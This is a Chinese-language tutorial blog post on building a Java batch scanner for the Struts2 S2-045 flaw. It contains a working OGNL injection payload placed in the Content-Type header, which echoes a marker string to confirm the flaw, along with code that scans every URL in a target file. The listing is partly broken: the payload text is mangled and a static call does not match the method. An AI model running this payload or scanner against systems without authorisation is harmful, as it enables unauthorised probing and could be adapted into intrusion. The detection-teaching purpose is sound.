java編寫web漏洞掃描系列 二、(案例)Struts2漏洞掃描器

java編寫web漏洞掃描系列 二、(案例)Struts2漏洞掃描器

本文是編寫web漏洞掃描器的第二章,將使用一個小案例帶領大家入門一下!


開始,上一節我們說了Java發送GET/POST請求,一級簡單的實現了一個檢測Struts2漏洞的小工具,在本節中,我們將對它進行擴展,增加線程,提高掃描的效率並支持批量掃描!

那麼想要以上一共我們可能會需要幾個方法:
1.檢測漏洞的方法
2.從文本讀取文件的方法
3.一個線程池進行管理

以上三個方法就是我們必須要有的方法,缺的只是在一個主類裏面進行調用這些方法。好的,先把需要用到的方法寫出來!

第一步準備方法

1.文件讀取和漏洞檢測工具類:


import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

/**
 * 工具類
 *
 */
public class Utils {

    /**
     * 讀取文件
     * 
     * @param filePath 文件路徑
     * @return 返回待檢測目標集合
     */
    public static List<String> readFile(String filePath) {
        List<String> target = new ArrayList<>(); // 待檢測目標
        File file = new File(filePath); // 讀取文件File

        if (!file.exists() || file.isDirectory()) {
            throw new RuntimeException("請檢查文件是否存在或路徑爲文件!");
        }

        try {
            FileReader fileReader = new FileReader(file);
            BufferedReader reader = new BufferedReader(fileReader);
            String line = null;
            while ((line = reader.readLine()) != null) {
                target.add(line);
            }
        } catch (IOException e) {
            System.err.println("讀取文件異常!");
            // e.printStackTrace();
        }

        return target;
    }

    /**
     * 漏洞檢測方法
     * 
     * @param target 目標
     * 
     */
    public void str045(String target) {
        String payload = "%{(#nikenb='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm))))."
                + "(#[email protected]@getResponse().getWriter()).(#o.println('exist045')).(#o.close())}";

        Map<String, String> headers = new HashMap<>();
        headers.put("User-Agent",
                "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36");
        headers.put("Content-Type", payload);

        String postResponseBody = Req.sendPost(target, "", headers); // 請求的方法還是上節課的方法
        if (postResponseBody.contains("exist045")) {
            System.out.println("[*] exist st2-045: " + target);
        }
    }

}

接下來我們只差一個夠把上面這些方法組合起來的主類了!

第二步主類完善

import java.util.List;

public class Main {

    public static void main(String[] args) {
        String filePath = ""; // 文件路徑
        List<String>  target = Utils.readFile(filePath); // 待掃描目標
        for (String t : target) {
            Utils.str045(t); // 檢測漏洞
        }

    }

}

當然我們這樣只能在開發工具中的使用,我們可能希望打包成jar,隨時使用!
那麼我們先改造一下程序主類,讓它能夠接收到參數!


import java.util.List;

public class Main {

    public static void main(String[] args) {
        if (args.length == 0) {
            System.out.println("usage: java -jar struts2Detection.jar --file=target.txt");
            return;
        }

        String filePath = ""; // 文件路徑
        for (String string : args) {
            int len = string.indexOf("--file=");
            if (len > -1) {
                filePath = string.substring(len + 7, string.length());
                System.out.println("filePath=" + filePath);
                break;
            }
        }

        List<String> target = Utils.readFile(filePath); // 待掃描目標
        for (String t : target) {
            Utils.str045(t); // 檢測漏洞
        }

    }
}

下面說下導出成jar的過程:
對項目右鍵 - Export - Java - JAR file
然後選擇導出路徑
這裏寫圖片描述

在經過兩次Next之後,會來到一處讓我們選擇程序入口類,也就是存在Main函數的類,選擇之後點擊Finish即可!

這裏寫圖片描述

使用過程

這裏寫圖片描述
這裏寫圖片描述

好的到這裏這個單線程版本就已經完成,線程版本會在下節裏面講解。

到這裏,大家應該會發現一個問題,就是掃描成功的結果,沒有保存!這裏留給大家自行完成,可以是保存爲txt也好,xml也行!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章